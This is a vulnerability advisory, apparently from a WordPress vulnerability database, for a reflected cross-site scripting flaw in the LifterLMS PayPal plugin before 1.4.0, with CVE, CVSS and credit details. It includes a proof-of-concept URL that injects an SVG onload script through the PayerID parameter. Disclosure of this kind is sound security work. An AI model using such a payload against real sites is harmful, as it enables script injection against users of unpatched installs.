WordPress Plugin Vulnerabilities

LifterLMS PayPal < 1.4.0 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape some parameters from the payment confirmation page before outputting them back in the page, leading to a Reflected Cross-Site Scripting issue

Proof of Concept

https://example.com/purchase/confirm-payment/?order=order-xxxxxxx&PayerID=aa"><svg/onload=alert(/XSS/)>

Affects Plugins

Plugin icon
lifterlms-gateway-paypal
Fixed in 1.4.0

References

CVE
CVE-2022-1250
URL
https://make.lifterlms.com/2022/04/04/lifterlms-paypal-version-1-4-0/

Classification

Type
XSS
OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79
CVSS
4.7 (medium)

Miscellaneous

Original Researcher
Brandon James Roldan
Submitter
Brandon James Roldan
Submitter website
https://tomorrowisnew.com/
Submitter twitter
tomorrowisnew_
Verified
Yes
WPVDB ID
1f8cb0b9-7447-44db-8d13-292db5b17718

Timeline

Publicly Published
2022-04-04 (about 2 years ago)
Added
2022-04-06 (about 2 years ago)
Last Updated
2022-04-13 (about 2 years ago)

Other

Published
Title
Published
2023-03-03
Title
New Adman <= 1.6.8 - Admin+ Stored XSS
Published
2024-03-28
Title
Jobeleon Theme < 1.9.2 - Reflected Cross-Site Scripting
Published
2014-08-01
Title
Wp-UserOnline < 2.70 - Stored Cross-Site Scripting (XSS)
Published
2012-05-11
Title
Bad Behavior < 2.2.5 - Cross-Site Scripting (XSS)
Published
2021-07-19
Title
Social Tape <= 1.0 - CSRF to Stored XSS